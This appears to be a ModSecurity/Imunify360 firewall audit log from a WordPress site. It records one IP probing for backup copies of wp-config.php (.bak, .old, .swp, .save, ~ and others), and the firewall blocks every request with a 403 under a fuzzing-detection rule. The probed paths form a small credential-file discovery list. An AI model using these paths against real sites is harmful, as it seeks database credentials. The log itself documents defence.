Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB22M7dE9KgIIOpQhrSQAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789280731261278 57706 (- - -)
Stopwatch2: 1789280731261278 57706; combined=56511, p1=244, p2=55943, p3=0, p4=0, p5=323, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--668cba2f-Z--
--4227a818-A--
[13/Sep/2026:09:25:32.103156 +0300] aqZB3GM7dE9KgIIOpQhrSgAAAMs 169.40.142.190 60170 127.0.0.1 7081
--4227a818-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--4227a818-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4227a818-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB3GM7dE9KgIIOpQhrSgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB3GM7dE9KgIIOpQhrSgAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789280732043483 59715 (- - -)
Stopwatch2: 1789280732043483 59715; combined=58484, p1=355, p2=57846, p3=0, p4=0, p5=282, sr=166, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4227a818-Z--
--c056903f-A--
[13/Sep/2026:09:25:34.090583 +0300] aqZB3mM7dE9KgIIOpQhrSwAAAM8 169.40.142.190 60186 127.0.0.1 7081
--c056903f-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--c056903f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c056903f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB3mM7dE9KgIIOpQhrSwAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB3mM7dE9KgIIOpQhrSwAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280734033156 57533 (- - -)
Stopwatch2: 1789280734033156 57533; combined=53872, p1=316, p2=53161, p3=0, p4=0, p5=394, sr=104, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c056903f-Z--
--a32fd33c-A--
[13/Sep/2026:09:25:35.071861 +0300] aqZB30wu1RSkptiiNIX0AwAAAJg 169.40.142.190 60194 127.0.0.1 7081
--a32fd33c-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a32fd33c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a32fd33c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB30wu1RSkptiiNIX0AwAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB30wu1RSkptiiNIX0AwAAAJg"]
Action: Intercepted (phase 2)
Stopwatch: 1789280735016401 55512 (- - -)
Stopwatch2: 1789280735016401 55512; combined=53989, p1=282, p2=53368, p3=0, p4=0, p5=338, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a32fd33c-Z--
--c7bf321e-A--
[13/Sep/2026:09:25:35.902341 +0300] aqZB30wu1RSkptiiNIX0BQAAAIw 169.40.142.190 58246 127.0.0.1 7081
--c7bf321e-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--c7bf321e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c7bf321e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB30wu1RSkptiiNIX0BQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB30wu1RSkptiiNIX0BQAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280735847673 54720 (- - -)
Stopwatch2: 1789280735847673 54720; combined=53255, p1=357, p2=52571, p3=0, p4=0, p5=326, sr=133, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c7bf321e-Z--
--4dea540a-A--
[13/Sep/2026:09:25:36.643023 +0300] aqZB4GM7dE9KgIIOpQhrTAAAAMM 169.40.142.190 58250 127.0.0.1 7081
--4dea540a-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--4dea540a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4dea540a-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB4GM7dE9KgIIOpQhrTAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB4GM7dE9KgIIOpQhrTAAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789280736582946 60118 (- - -)
Stopwatch2: 1789280736582946 60118; combined=58035, p1=298, p2=57427, p3=0, p4=0, p5=309, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4dea540a-Z--
--0ec8e55c-A--
[13/Sep/2026:09:25:47.013029 +0300] aqZB6mM7dE9KgIIOpQhrVgAAAME 169.40.142.190 53428 127.0.0.1 7081
--0ec8e55c-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--0ec8e55c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0ec8e55c-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB6mM7dE9KgIIOpQhrVgAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB6mM7dE9KgIIOpQhrVgAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789280746950362 62708 (- - -)
Stopwatch2: 1789280746950362 62708; combined=61208, p1=389, p2=60522, p3=0, p4=0, p5=296, sr=203, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0ec8e55c-Z--
--5af2e429-A--
[13/Sep/2026:09:25:47.634698 +0300] aqZB62M7dE9KgIIOpQhrVwAAAMs 169.40.142.190 53438 127.0.0.1 7081
--5af2e429-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--5af2e429-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5af2e429-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB62M7dE9KgIIOpQhrVwAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqZB62M7dE9KgIIOpQhrVwAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789280747578040 56738 (- - -)
Stopwatch2: 1789280747578040 56738; combined=55506, p1=250, p2=54940, p3=0, p4=0, p5=316, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5af2e429-Z--
--6409b82e-A--
[13/Sep/2026:09:25:49.457263 +0300] aqZB7Uwu1RSkptiiNIX0BgAAAI0 169.40.142.190 53448 127.0.0.1 7081
--6409b82e-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--6409b82e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6409b82e-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB7Uwu1RSkptiiNIX0BgAAAI0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqZB7Uwu1RSkptiiNIX0BgAAAI0"]
Action: Intercepted (phase 2)
Stopwatch: 1789280749398681 58637 (- - -)
Stopwatch2: 1789280749398681 58637; combined=57004, p1=266, p2=56380, p3=0, p4=0, p5=357, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6409b82e-Z--
--4a12f511-A--
[13/Sep/2026:09:25:51.075108 +0300] aqZB72M7dE9KgIIOpQhrWAAAAM8 169.40.142.190 53452 127.0.0.1 7081
--4a12f511-B--
GET /wp-config.php.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--4a12f511-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4a12f511-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB72M7dE9KgIIOpQhrWAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.swp"] [unique_id "aqZB72M7dE9KgIIOpQhrWAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280751018997 56153 (- - -)
Stopwatch2: 1789280751018997 56153; combined=54944, p1=269, p2=54367, p3=0, p4=0, p5=308, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4a12f511-Z--
--12aa773b-A--
